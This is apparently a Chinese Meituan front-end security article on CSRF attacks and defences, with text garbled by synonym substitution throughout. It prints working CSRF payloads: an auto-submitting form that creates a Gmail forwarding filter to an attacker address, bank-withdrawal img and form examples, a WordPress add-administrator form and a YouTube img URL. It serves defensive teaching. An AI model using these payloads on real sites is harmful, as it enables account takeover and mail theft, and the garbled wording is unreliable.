当当当当,我是美团技能团队的程序员鼓励师美美~“基本功”专栏又来新文章了,本篇是我们前端安全系列文章的第二篇,紧张聊聊前端开拓过程中碰着的CSRF问题,希望对你有帮助哦~

我们将不断梳理常见的前端安全问题以及对应的办理方案,希望可以帮助前端同学在日常开拓中不断预防和修复安全漏洞,Enjoy Reading!

背景

php防止伪造ip根本功前端平安系列之二若何防止CSRF进击 CSS

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。
在移动互联网时期,前端职员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络挟制、造孽调用 Hybrid API 等新型安全问题。
当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技能来增强安全性,但是仍存在很多潜在的威胁,这须要前端技能职员不断进行“查漏补缺”。

前端安全

近几年,美团业务高速发展,前端随之面临很多安全寻衅,因此积累了大量的实践履历。
我们梳理了常见的前端安全问题以及对应的办理方案,将会做成一个系列,希望可以帮助前端同学在日常开拓中不断预防和修复安全漏洞。
此前我们已经发布过《前端安全系列之一:如何防止XSS攻击?》,本文是该系列的第二篇。

本日我们讲解一下 CSRF,实在比较XSS,CSRF的名气彷佛并不是那么大,很多人都认为“CSRF不具备那么大的毁坏性”。
真的是这样吗?接下来,我们还是有请小明同学再次“闪亮”登场。

CSRF攻击

CSRF漏洞的发生

比较XSS,CSRF的名气彷佛并不是那么大,很多人都认为CSRF“不那么有毁坏性”。
真的是这样吗?

接下来有请小明出场~~

小明的悲惨遭遇

这一天,小明同学百无聊赖地刷着Gmail邮件。
大部分都是没营养的关照、验证码、谈天记录之类。
但有一封邮件引起了小明的把稳:

甩卖比特币,一个只要998!

聪明的小明当然知道这种肯定是骗子,但还是抱着好奇的态度点了进去(请勿模拟)。
果真,这只是一个什么都没有的空缺页面,小明失落望的关闭了页面。
统统彷佛什么都没有发生……

在这沉着的外表之下,黑客的攻击已然得手。
小明的Gmail中,被偷偷设置了一个过滤规则,这个规则使得所有的邮件都会被自动转发到hacker@hackermail.com。
小明还在连续刷着邮件,殊不知他的邮件正在一封封地,如脱缰的野马一样平常地,持续不断地向着黑客的邮箱转发而去。

不久之后的一天,小明创造自己的域名已经被转让了。
懵懂的小明以为是域名到期自己忘了续费,直到有一天,对方开出了 $650 的赎回价码,小明才开始以为不太对劲。

小明仔细查了下域名的转让,对方是拥有自己的验证码的,而域名的验证码只存在于自己的邮箱里面。
小明回忆起那天奇怪的链接,打开后重新查看了“空缺页”的源码:

<form method=\"大众POST\公众 action=\公众https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf\"大众 enctype=\"大众multipart/form-data\公众> <input type=\"大众hidden\"大众 name=\公众cf2_emc\"大众 value=\"大众true\"大众/> <input type=\公众hidden\"大众 name=\公众cf2_email\"大众 value=\公众hacker@hakermail.com\公众/> ..... <input type=\"大众hidden\"大众 name=\公众irf\"大众 value=\"大众on\公众/> <input type=\公众hidden\"大众 name=\"大众nvp_bu_cftb\公众 value=\"大众Create Filter\公众/> </form> <script> document.forms[0].submit();</script>

这个页面只要打开,就会向Gmail发送一个post要求
要求中,实行了“Create Filter”命令,将所有的邮件,转发到“hacker@hackermail.com”。

小明由于刚刚就上岸了Gmail,以是这个要求发送时,携带着小明的登录凭据(Cookie),Gmail的后台吸收到要求,验证了确实有小明的登录凭据,于是成功给小明配置了过滤器。

黑客可以查看小明的所有邮件,包括邮件里的域名验证码等隐私信息。
拿到验证码之后,黑客就可以哀求域名做事商把域名重置给自己。

小明很快打开Gmail,找到了那条过滤器,将其删除。
然而,已经透露的邮件,已经被转让的域名,再也无法挽回了……

以上便是小明的悲惨遭遇。
而“点开一个黑客的链接,所有邮件都被盗取”这种事情并不是杜撰的,此事宜原型是2007年Gmail的CSRF漏洞:

https://www.davidairey.com/google-gmail-security-hijack/

当然,目前此漏洞已被Gmail修复,请利用Gmail的同学不要慌张。

什么是CSRF

CSRF(Cross-site request forgery)跨站要求假造:攻击者勾引受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站要求。
利用受害者在被攻击网站已经获取的注册凭据,绕过后台的用户验证,达到伪装用户对被攻击的网站实行某项操作的目的。

一个范例的CSRF攻击有着如下的流程:

受害者登录a.com,并保留了登录凭据(Cookie)。
攻击者领导受害者访问了b.com。
b.com 向 a.com 发送了一个要求:a.com/act=xx。
浏览器会默认携带a.com的Cookie。
a.com吸收到要求后,对要求进行验证,并确认是受害者的凭据,误以为是受害者自己发送的要求。
a.com以受害者的名义实行了act=xx。
攻击完成,攻击者在受害者不知情的情形下,伪装受害者,让a.com实行了自己定义的操作。

几种常见的攻击类型

GET类型的CSRF

GET类型的CSRF利用非常大略,只须要一个HTTP要求,一样平常会这样利用:

<img src=\"大众http://bank.example/withdraw?amount=10000&for=hacker\"大众 >

在受害者访问含有这个img的页面后,浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次HTTP要求。
bank.example就会收到包含受害者登录信息的一次跨域要求。

POST类型的CSRF

这种类型的CSRF利用起来常日利用的是一个自动提交的表单,如:

<form action=\"大众http://bank.example/withdraw\"大众 method=POST> <input type=\"大众hidden\"大众 name=\公众account\"大众 value=\公众xiaoming\公众 /> <input type=\"大众hidden\"大众 name=\"大众amount\"大众 value=\"大众10000\"大众 /> <input type=\"大众hidden\"大众 name=\"大众for\"大众 value=\公众hacker\"大众 /></form><script> document.forms[0].submit(); </script>

访问该页面后,表单会自动提交,相称于仿照用户完成了一次POST操作。

POST类型的攻击常日比GET哀求更加严格一点,但仍并不繁芜。
任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅许可POST上面。

链接类型的CSRF

链接类型的CSRF并不常见,比起其他两种用户打开页面就中招的情形,这种须要用户点击链接才会触发。
这种类型常日是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式勾引用户中招,攻击者常日会以比较夸年夜的词语诱骗用户点击,例如:

<a href=\公众http://test.com/csrf/withdraw.php?amount=1000&for=hacker\"大众 taget=\公众_blank\"大众> 重磅!

<a/>

由于之前用户登录了信赖的网站A,并且保存登录状态,只要用户主动访问上面的这个PHP页面,则表示攻击成功。

CSRF的特点

攻击一样平常发起在第三方网站,而不是被攻击的网站。
被攻击的网站无法防止攻击发生。
攻击利用受害者在被攻击网站的登录凭据,伪装受害者提交操作;而不是直接盗取数据。
全体过程攻击者并不能获取到受害者的登录凭据,仅仅是“冒用”。
跨站要求可以用各种办法:图片URL、超链接、CORS、Form提交等等。
部分要求办法可以直接嵌入在第三方论坛、文章中,难以进行追踪。

CSRF常日是跨域的,由于外域常日更随意马虎被攻击者掌控。
但是如果本域下有随意马虎被利用的功能,比如可以发图和链接的论坛和评论区,攻击可以直接在本域下进行,而且这种攻击更加危险。

防护策略

CSRF常日从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。

上文中讲了CSRF的两个特点:

CSRF(常日)发生在第三方域名。
CSRF攻击者不能获取到Cookie等信息,只是利用。

针对这两点,我们可以专门制订防护策略,如下:

阻挡不明外域的访问同源检测Samesite Cookie提交时哀求附加本域才能获取的信息CSRF Token双重Cookie验证

以下我们对各种防护方法做详细解释:

同源检测

既然CSRF大多来自第三方网站,那么我们就直接禁止外域(或者不受信赖的域名)对我们发起要求。

那么问题来了,我们如何判断要求是否来自外域呢?

在HTTP协议中,每一个异步要求都会携带两个Header,用于标记来源域名:

Origin HeaderReferer Header

这两个Header在浏览器发起要求时,大多数情形会自动带上,并且不能由前端自定义内容。

做事器可以通过解析这两个Header中的域名,确定要求的来源域。

利用Origin Header确定来源域名

在部分与CSRF有关的要求中,要求的Header中会携带Origin字段。
字段内包含要求的域名(不包含path及query)。

如果Origin存在,那么直策应用Origin中的字段确认来源域名就可以。

但是Origin在以下两种情形下并不存在:

IE11同源策略: IE 11 不会在跨站CORS要求上添加Origin标头,Referer头将仍旧是唯一的标识。
最根本缘故原由是由于IE 11对同源的定义和其他浏览器有不同,有两个紧张的差异,可以参考MDN Same-origin_policy#IE_Exceptions302重定向: 在302重定向之后Origin不包含在重定向的要求中,由于Origin可能会被认为是其他来源的敏感信息。
对付302重定向的情形来说都是定向到新的做事器上的URL,因此浏览器不想将Origin泄露到新的做事器上。

利用Referer Header确定来源域名

根据HTTP协议,在HTTP头中有一个字段叫Referer,记录了该HTTP要求的来源地址。

对付Ajax要求,图片和script等资源要求,Referer为发起要求的页面地址。
对付页面跳转,Referer为打开页面历史记录的前一个页面地址。
因此我们利用Referer中链接的Origin部分可以得知要求的来源域名。

这种方法并非万无一失,Referer的值是由浏览器供应的,虽然HTTP协议上有明确的哀求,但是每个浏览器对付Referer的详细实现可能有差别,并不能担保浏览器自身没有安全漏洞。
利用验证 Referer 值的方法,便是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不是很安全。
在部分情形下,攻击者可以隐蔽,乃至修正自己要求的Referer。

2014年,W3C的Web运用安全事情组发布了Referrer Policy草案,对浏览器该如何发送Referer做了详细的规定。
截止现在新版浏览器大部分已经支持了这份草案,我们终于可以灵巧地掌握自己网站的Referer策略了。
新版的Referrer Policy规定了五种Referer策略:No Referrer、No Referrer When Downgrade、Origin Only、Origin When Cross-origin、和 Unsafe URL。
之前就存在的三种策略:never、default和always,在新标准里换了个名称。
他们的对应关系如下:

根据上面的表格因此须要把Referrer Policy的策略设置成same-origin,对付同源的链接和引用,会发送Referer,referer值为Host不带Path;跨域访问则不携带Referer。
例如:aaa.com引用bbb.com的资源,不会发送Referer。

设置Referrer Policy的方法有三种:

在CSP设置页面头部增加meta标签a标签增加referrerpolicy属性

上面说的这些比较多,但我们可以知道一个问题:攻击者可以在自己的要求中隐蔽Referer。
如果攻击者将自己的要求这样填写:

<img src=\"大众http://bank.example/withdraw?amount=10000&for=hacker\"大众 referrerpolicy=\"大众no-referrer\"大众>

那么这个要求发起的攻击将不携带Referer。

其余在以下情形下Referer没有或者不可信:

1. IE6、7下利用window.location.href=url进行界面的跳转,会丢失Referer。

2. IE6、7下利用window.open,也会缺失落Referer。

3. HTTPS页面跳转到HTTP页面,所有浏览器Referer都丢失。

4. 点击Flash上到达其余一个网站的时候,Referer的情形就比较凌乱,不太可信。

无法确认来源域名情形

当Origin和Referer头文件不存在时该怎么办?如果Origin和Referer都不存在,建议直接进行阻挡,特殊是如果您没有利用随机CSRF Token(参考下方)作为第二次检讨。

如何阻挡外域要求

通过Header的验证,我们可以知道发起要求的来源域名,这些来源域名可能是网站本域,或者子域名,或者有授权的第三方域名,又或者来自不可信的未知域名。

我们已经知道了要求域名是否是来自不可信的域名,我们直接阻挡掉这些的要求,就能防御CSRF攻击了吗?

且慢!
当一个要求是页面要求(比如网站的主页),而来源是搜索引擎的链接(例如百度的搜索结果),也会被当成疑似CSRF攻击。
以是在判断的时候须要过滤掉页面要求情形,常日Header符合以下情形:

Accept: text/htmlMethod: GET

但相应的,页面要求就暴露在了CSRF的攻击范围之中。
如果你的网站中,在页面的GET要求中对当前用户做了什么操作的话,戒备就失落效了。

例如,下面的页面要求:

GET https://example.com/addComment?comment=XXX&dest=orderId

注:这种严格来说并不一定存在CSRF攻击的风险,但仍旧有很多网站常常把主文档GET要求挂上参数来实现产品功能,但是这样做对付自身来说是存在安全风险的。

其余,前面说过,CSRF大多数情形下来自第三方域名,但并不能打消本域发起。
如果攻击者有权限在本域发布评论(含链接、图片等,统称UGC),那么它可以直接在本域发起攻击,这种情形下同源策略无法达到防护的浸染。

综上所述:同源验证是一个相对大略的戒备方法,能够戒备绝大多数的CSRF攻击。
但这并不是万无一失的,对付安全性哀求较高,或者有较多用户输入内容的网站,我们就要对关键的接口做额外的防护方法。

CSRF Token

前面讲到CSRF的另一个特色是,攻击者无法直接盗取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。

而CSRF攻击之以是能够成功,是由于做事器误把攻击者发送的要求当成了用户自己的要求。
那么我们可以哀求所有的用户要求都携带一个CSRF攻击者无法获取到的Token。
做事器通过校验要求是否携带精确的Token,来把正常的要乞降攻击的要求区分开,也可以戒备CSRF的攻击。

事理

CSRF Token的防护策略分为三个步骤:

1. 将CSRF Token输出到页面中

首先,用户打开页面的时候,做事器须要给这个用户天生一个Token,该Token通过加密算法对数据进行加密,一样平常Token都包括随机字符串和韶光戳的组合,显然在提交时Token不能再放在Cookie中了,否则又会被攻击者冒用。
因此,为了安全起见Token最好还是存在做事器的Session中,之后在每次页面加载时,利用JS遍历全体DOM树,对付DOM中所有的a和form标签后加入Token。
这样可以办理大部分的要求,但是对付在页面加载之后动态天生的HTML代码,这种方法就没有浸染,还须要程序员在编码时手动添加Token。

2. 页面提交的要求携带这个Token

对付GET要求,Token将附在要求地址之后,这样URL 就变成 http://url?csrftoken=tokenvalue。
而对付 POST 要求来说,要在 form 的末了加上:

<input type=”hidden” name=”csrftoken” value=”tokenvalue”/>

这样,就把Token以参数的形式加入要求了。

3. 做事器验证Token是否精确

当用户从客户端得到了Token,再次提交给做事器的时候,做事器须要判断Token的有效性,验证过程是先解密Token,比拟加密字符串以及时间戳,如果加密字符串同等且韶光未过期,那么这个Token便是有效的。

这种方法要比之前检讨Referer或者Origin要安全一些,Token可以在产生并放于Session之中,然后在每次要求时把Token从Session中拿出,与要求中的Token进行比对,但这种方法的比较麻烦的在于如何把Token以参数的形式加入要求。

下面将以Java为例,先容一些CSRF Token的做事端校验逻辑,代码如下:

HttpServletRequest req = (HttpServletRequest)request; HttpSession s = req.getSession(); // 从 session 中得到 csrftoken 属性String sToken = (String)s.getAttribute(“csrftoken”); if(sToken == null){ // 产生新的 token 放入 session 中 sToken = generateToken(); s.setAttribute(“csrftoken”,sToken); chain.doFilter(request, response); } else{ // 从 HTTP 头中取得 csrftoken String xhrToken = req.getHeader(“csrftoken”); // 从要求参数中取得 csrftoken String pToken = req.getParameter(“csrftoken”); if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){ chain.doFilter(request, response); }else if(sToken != null && pToken != null && sToken.equals(pToken)){ chain.doFilter(request, response); }else{ request.getRequestDispatcher(“error.jsp”).forward(request,response); } }

代码源自:IBM developerworks CSRF

这个Token的值必须是随机天生的,这样它就不会被攻击者猜到,考虑利用Java运用程序的java.security.SecureRandom类来天生足够长的随机标记,替代天生算法包括利用256位BASE64编码哈希,选择这种天生算法的开拓职员必须确保在散列数据中利用随机性和唯一性来天生随机标识。
常日,开拓职员只需为当前会话天生一次Token。
在初始天生此Token之后,该值将存储在会话中,并用于每个后续要求,直到会话过期。
当终极用户发出要求时,做事器端必须验证要求中Token的存在性和有效性,与会话中找到的Token比较较。
如果在要求中找不到Token,或者供应的值与会话中的值不匹配,则应中止要求,应重置Token并将事宜记录为正在进行的潜在CSRF攻击。

分布式校验

在大型网站中,利用Session存储CSRF Token会带来很大的压力。
访问单台做事器session是同一个。
但是现在的大型网站中,我们的做事器常日不止一台,可能是几十台乃至几百台之多,乃至多个机房都可能在不同的省份,用户发起的HTTP要求常日要经由像Ngnix之类的负载均衡器之后,再路由到详细的做事器上,由于Session默认存储在单机做事器内存中,因此在分布式环境下同一个用户发送的多次HTTP要求可能会先后落到不同的做事器上,导致后面发起的HTTP要求无法拿到之前的HTTP要求存储在做事器中的Session数据,从而使得Session机制在分布式环境下失落效,因此在分布式集群中CSRF Token须要存储在Redis之类的公共存储空间。

由于利用Session存储,读取和验证CSRF Token会引起比较大的繁芜度和性能问题,目前很多网站采取Encrypted Token Pattern办法。
这种方法的Token是一个打算出来的结果,而非随机天生的字符串。
这样在校验时无需再去读取存储的Token,只用再次打算一次即可。

这种Token的值常日是利用UserID、韶光戳和随机数,通过加密的方法天生。
这样既可以担保分布式做事的Token同等,又能担保Token不随意马虎被破解。

在token解密成功之后,做事器可以访问解析值,Token中包含的UserID和韶光戳将会被拿来被验证有效性,将UserID与当前登录的UserID进行比较,并将韶光戳与当前韶光进行比较。

总结

Token是一个比较有效的CSRF防护方法,只要页面没有XSS漏洞透露Token,那么接口的CSRF攻击就无法成功。

但是此方法的实现比较繁芜,须要给每一个页面都写入Token(前端无法利用纯静态页面),每一个Form及Ajax要求都携带这个Token,后端对每一个接口都进行校验,并担保页面Token及要求Token同等。
这就使得这个防护策略不能在通用的拦截上统一拦截处理,而须要每一个页面和接口都添加对应的输出和校验。
这种方法事情量巨大,且有可能遗漏。

验证码和密码实在也可以起到CSRF Token的浸染哦,而且更安全。

为什么很多银行等网站会哀求已经登录的用户在转账时再次输入密码,现在是不是有一定道理了?

双重Cookie验证

在会话中存储CSRF Token比较繁琐,而且不能在通用的拦截上统一处理所有的接口。

那么另一种防御方法是利用双重提交Cookie。
利用CSRF攻击不能获取到用户Cookie的特点,我们可以哀求Ajax和表单要求携带一个Cookie中的值。

双重Cookie采取以下流程:

在用户访问网站页面时,向要求域名注入一个Cookie,内容为随机字符串(例如csrfcookie=v8g9e4ksfhw)。
在前端向后端发起要求时,取出Cookie,并添加到URL的参数中(接上例POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)。
后端接口验证Cookie中的字段与URL参数中的字段是否同等,不一致则谢绝。

此方法相对付CSRF Token就大略了许多。
可以直接通过前后端拦截的的方法自动化实现。
后端校验也更加方便,只需进行要求中字段的比拟,而不须要再进行查询和存储Token。

当然,此方法并没有大规模运用,其在大型网站上的安全性还是没有CSRF Token高,缘故原由我们举例进行解释。

由于任何跨域都会导致前端无法获取Cookie中的字段(包括子域名之间),于是发生了如下情形:

如果用户访问的网站为www.a.com,而后真个api域名为api.a.com。
那么在www.a.com下,前端拿不到api.a.com的Cookie,也就无法完成双重Cookie认证。
于是这个认证Cookie必须被种在a.com下,这样每个子域都可以访问。
任何一个子域都可以修正a.com下的Cookie。
某个子域名存在漏洞被XSS攻击(例如upload.a.com)。
虽然这个子域下并没有什么值得盗取的信息。
但攻击者修正了a.com下的Cookie。
攻击者可以直策应用自己配置的Cookie,对XSS中招的用户再向www.a.com下,发起CSRF攻击。

总结

用双重Cookie防御CSRF的优点:

无需利用Session,适用面更广,易于履行。
Token储存于客户端中,不会给做事器带来压力。
相对付Token,履行本钱更低,可以在前后端统一拦截校验,而不须要一个个接口和页面添加。

缺陷

Cookie中增加了额外的字段。
如果有其他漏洞(例如XSS),攻击者可以注入Cookie,那么该防御办法失落效。
难以做到子域名的隔离。
为了确保Cookie传输安全,采取这种防御办法的最好确保用整站HTTPS的办法,如果还没切HTTPS的利用这种办法也会有风险。

Samesite Cookie属性

防止CSRF攻击的办法已经有上面的预防方法。
为了从源头上办理这个问题,Google起草了一份草案来改进HTTP协议,那便是为Set-Cookie相应头新增Samesite属性,它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能作为第一方Cookie,不能作为第三方Cookie,Samesite 有两个属性值,分别是 Strict 和 Lax,下面分别讲解:

Samesite=Strict

这种称为严格模式,表明这个 Cookie 在任何情形下都不可能作为第三方 Cookie,绝无例外。
比如说 b.com 设置了如下 Cookie:

Set-Cookie: foo=1; Samesite=StrictSet-Cookie: bar=2; Samesite=LaxSet-Cookie: baz=3

我们在 a.com 下发起对 b.com 的任意要求,foo 这个 Cookie 都不会被包含在 Cookie 要求头中,但 bar 会。
举个实际的例子便是,如果淘宝网站用来识别用户登录与否的 Cookie 被设置成了 Samesite=Strict,那么用户从百度搜索页面乃至天猫页面的链接点击进入淘宝后,淘宝都不会是登录状态,由于淘宝的做事器不会接管到那个 Cookie,其它网站发起的对淘宝的任意要求都不会带上那个 Cookie。

Samesite=Lax

这种称为宽松模式,比 Strict 放宽了点限定:如果这个要求是这种要求(改变了当前页面或者打开了新页面)且同时是个GET要求,则这个Cookie可以作为第三方Cookie。
比如说 b.com设置了如下Cookie:

Set-Cookie: foo=1; Samesite=StrictSet-Cookie: bar=2; Samesite=LaxSet-Cookie: baz=3

当用户从 a.com 点击链接进入 b.com 时,foo 这个 Cookie 不会被包含在 Cookie 要求头中,但 bar 和 baz 会,也便是说用户在不同网站之间通过链接跳转是不受影响了。
但如果这个要求是从 a.com 发起的对 b.com 的异步要求,或者页面跳转是通过表单的 post 提交触发的,则bar也不会发送。

天生Token放到Cookie中并且设置Cookie的Samesite,Java代码如下:

private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) { //天生token String sToken = this.generateToken(); //手动添加Cookie实现支持“Samesite=strict” //Cookie添加双重验证 String CookieSpec = String.format(\"大众%s=%s; Path=%s; HttpOnly; Samesite=Strict\公众, this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI()); httpResponse.addHeader(\"大众Set-Cookie\"大众, CookieSpec); httpResponse.setHeader(CSRF_TOKEN_NAME, token); }

代码源自OWASP Cross-Site_Request_Forgery #Implementation example

我们该当如何利用SamesiteCookie

如果SamesiteCookie被设置为Strict,浏览器在任何跨域要求中都不会携带Cookie,新标签重新打开也不携带,以是说CSRF攻击基本没有机会。

但是跳转子域名或者是新标签重新打开刚上岸的网站,之前的Cookie都不会存在。
尤其是有登录的网站,那么我们新打开一个标签进入,或者跳转到子域名的网站,都须要重新登录。
对付用户来讲,可能体验不会很好。

如果SamesiteCookie被设置为Lax,那么其他网站通过页面跳转过来的时候可以利用Cookie,可以保障外域连接打开页面时用户的登录状态。
但相应的,其安全性也比较低。

其余一个问题是Samesite的兼容性不是很好,现阶段除了重新版Chrome和Firefox支持以外,Safari以及iOS Safari都还不支持,现阶段看光降时还不能遍及。

而且,SamesiteCookie目前有一个致命的毛病:不支持子域。
例如,种在topic.a.com下的Cookie,并不能利用a.com下栽种的SamesiteCookie。
这就导致了当我们网站有多个子域名时,不能利用SamesiteCookie在主域名存储用户登录信息。
每个子域名都须要用户重新登录一次。

总之,SamesiteCookie是一个可能替代同源验证的方案,但目前还并不成熟,其运用处景有待不雅观望。

防止网站被利用

前面所说的,都是被攻击的网站如何做好防护。
而非防止攻击的发生,CSRF的攻击可以来自:

攻击者自己的网站。
有文件上传漏洞的网站。
第三方论坛等用户内容。
被攻击网站自己的评论功能等。

对付来自黑客自己的网站,我们无法防护。
但对其他情形,那么如何防止自己的网站被利用成为攻击的源头呢?

严格管理所有的上传接口,防止任何预期之外的上传内容(例如HTML)。
添加Header X-Content-Type-Options: nosniff 防止黑客上传HTML内容的资源(例如图片)被解析为网页。
对付用户上传的图片,进行转存或者校验。
不要直策应用用户填写的图片链接。
当前用户打开其他用户填写的链接时,需奉告风险(这也是很多论坛不许可直接在内容中发布外域链接的缘故原由之一,不仅仅是为了用户留存,也有安全考虑)。

CSRF其他戒备方法

对付一线的程序员同学,我们可以通过各种防护策略来防御CSRF,对付QA、SRE、安全卖力人等同学,我们可以做哪些事情来提升安全性呢?

CSRF测试

CSRFTester是一款CSRF漏洞的测试工具,CSRFTester工具的测试事理大概是这样的,利用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息,通过在CSRFTester中修正相应的表单等信息,重新提交,相称于一次假造客户端要求,如果修正后的测试要求成功被网站做事器接管,则解释存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

CSRFTester利用方法大致分下面几个步骤:

步骤1:设置浏览器代理

CSRFTester默认利用Localhost上的端口8008作为其代理,如果代理配置成功,CSRFTester将为您的浏览器天生的所有后续HTTP要求天生调试。

步骤2:利用合法账户访问网站开始测试

我们须要找到一个我们想要为CSRF测试的特定业务Web页面。
找到此页面后,选择CSRFTester中的“开始录制”按钮并实行业务功能;完成后,点击CSRFTester中的“停滞录制”按钮;正常情形下,该软件会全部遍历一遍当前页面的所有要求。

步骤3:通过CSRF修正并假造要求

之后,我们会创造软件上有一系列跑出来的记录要求,这些都是我们的浏览器在实行业务功能时天生的所有GET或者POST要求。
通过选择列表中的某一行,我们现在可以修正用于实行业务功能的参数,可以通过点击对应的要求修正query和form的参数。
当修正完所有我们希望勾引用户form终极的提交值,可以选择开始天生HTML报告。

步骤4:拿到结果如有漏洞进行修复

首先必须选择“报告类型”。
报告类型决定了我们希望受害者浏览器如何提交先前记录的要求。
目前有5种可能的报告:表单、iFrame、IMG、XHR和链接。
一旦选择了报告类型,我们可以选择在浏览器中启动新天生的报告,末了根据报告的情形进行对应的排查和修复。

CSRF监控

对付一个比较繁芜的网站系统,某些项目、页面、接口漏掉了CSRF防护方法是很可能的。

一旦发生了CSRF攻击,我们如何及时的创造这些攻击呢?

CSRF攻击有着比较明显的特色:

跨域要求。
GET类型要求Header的MIME类型大概率为图片,而实际返回Header的MIME类型为Text、JSON、HTML。

我们可以在网站的代理层监控所有的接口要求,如果要求符合上面的特色,就可以认为要求有CSRF攻击嫌疑。
我们可以提醒对应的页面和项目卖力人,检讨或者 Review其CSRF防护策略。

个人用户CSRF安全的建议

常常上网的个人用户,可以采取以下方法来保护自己:

利用网页版邮件的浏览邮件或者新闻也会带来额外的风险,由于查看邮件或者新闻有可能导致恶意代码的攻击。
只管即便不要打开可疑的链接,一定要打开时,利用不常用的浏览器。

总结

大略总结一下上文的防护策略:

CSRF自动防御策略:同源检测(Origin 和 Referer 验证)。
CSRF主动防御方法:Token验证 或者 双重Cookie验证 以及合营Samesite Cookie。
担保页面的幂等性,后端接口不要在GET页面中做用户操作。

为了更好的防御CSRF,最佳实践该当是结合上面总结的防御方法办法中的优缺陷来综合考虑,结合当前Web运用程序自身的情形做得当的选择,才能更好的预防CSRF的发生。

历史案例

WordPress的CSRF漏洞

2012年3月份,WordPress创造了一个CSRF漏洞,影响了WordPress 3.3.1版本,WordPress是众所周知的博客平台,该漏洞可以许可攻击者修正某个Post的标题,添加管理权限用户以及操浸染户账户,包括但不限于删除评论、修正头像等等。
详细的列表如下:

Add Admin/UserDelete Admin/UserApprove commentUnapprove commentDelete commentChange background imageInsert custom header imageChange site titleChange administrator's emailChange Wordpress AddressChange Site Address

那么这个漏洞实际上便是攻击者勾引用户前辈入目标的WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触揭橥单的提交事情,添加某个具有管理员权限的用户,实现的码如下:

<html> <body onload=\公众javascript:document.forms[0].submit()\"大众> <H2>CSRF Exploit to add Administrator</H2> <form method=\公众POST\"大众 name=\公众form0\"大众 action=\"大众http://<wordpress_ip>:80/wp-admin/user-new.php\"大众> <input type=\"大众hidden\公众 name=\"大众action\"大众 value=\"大众createuser\公众/> <input type=\"大众hidden\"大众 name=\公众_wpnonce_create-user\公众 value=\"大众<sniffed_value>\"大众/> <input type=\"大众hidden\公众 name=\"大众_wp_http_referer\"大众 value=\"大众%2Fwordpress%2Fwp-admin%2Fuser-new.php\"大众/> <input type=\"大众hidden\"大众 name=\"大众user_login\"大众 value=\公众admin2\公众/> <input type=\"大众hidden\"大众 name=\"大众email\公众 value=\"大众admin2@admin.com\公众/> <input type=\"大众hidden\"大众 name=\"大众first_name\"大众 value=\"大众admin2@admin.com\公众/> <input type=\公众hidden\"大众 name=\公众last_name\公众 value=\"大众\"大众/> <input type=\"大众hidden\公众 name=\公众url\"大众 value=\"大众\公众/> <input type=\"大众hidden\公众 name=\公众pass1\"大众 value=\"大众password\"大众/> <input type=\"大众hidden\"大众 name=\公众pass2\"大众 value=\公众password\公众/> <input type=\"大众hidden\"大众 name=\"大众role\"大众 value=\"大众administrator\公众/> <input type=\公众hidden\"大众 name=\"大众createuser\"大众 value=\"大众Add+New+User+\"大众/> </form> </body> </html>

YouTube的CSRF漏洞

2008年,有安全研究职员创造,YouTube上险些所有用户可以操作的动作都存在CSRF漏洞。
如果攻击者已经将视频添加到用户的“Favorites”,那么他就能将他自己添加到用户的“Friend”或者“Family”列表,以用户的身份发送任意的,将视频标记为不宜的,自动通过用户的联系人来共享一个视频。
例如,要把视频添加到用户的“Favorites”,攻击者只需在任何站点上嵌入如下所示的IMG标签:

<img src=\"大众http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite\公众/>

攻击者大概已经利用了该漏洞来提高视频的盛行度。
例如,将一个视频添加到足够多用户的“Favorites”,YouTube就会把该视频作为“Top Favorites”来显示。
除提高一个视频的盛行度之外,攻击者还可以导致用户在绝不知情的情形下将一个视频标记为“不宜的”,从而导致YouTube删除该视频。

这些攻击还可能已被用于陵犯用户隐私。
YouTube许可用户只让朋友或支属不雅观看某些视频。
这些攻击会导致攻击者将其添加为一个用户的“Friend”或“Family”列表,这样他们就能够访问所有原来只限于好友和支属表中的用户不雅观看的私人的视频。

攻击者还可以通过用户的所有联系人名单(“Friends”、“Family”等等)来共享一个视频,“共享”就意味着发送一个视频的链接给他们,当然还可以选择附加。
这条中的链接已经并不是真正意义上的视频链接,而是一个具有攻击性的网站链接,用户很有可能会点击这个链接,这便使得该种攻击能够进行病毒式的传播。

参考文献

Mozilla wiki. Security-Origin. OWASP. Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet. Gmail Security Hijack Case. Google-Gmail-Security-Hijack. Netsparker Blog. Same-Site-Cookie-Attribute-Prevent-Cross-site-Request-Forgery. MDN. Same-origin_policy#IE_Exceptions.

下期预报

前端安全系列文章将对XSS、CSRF、网络挟制、Hybrid安全等安全议题展开论述。
下期我们要谈论的是网络挟制,敬请期待。

作者简介

刘烨,美团点评前端开拓工程师,卖力外卖用户端前端业务。

欢迎加入美团前端安全技能互换群,跟作者零间隔互换。
如想进群,请加美美同学的微信(微旗子暗记:MTDPtech01),回答:前端安全,美美会自动拉你进群。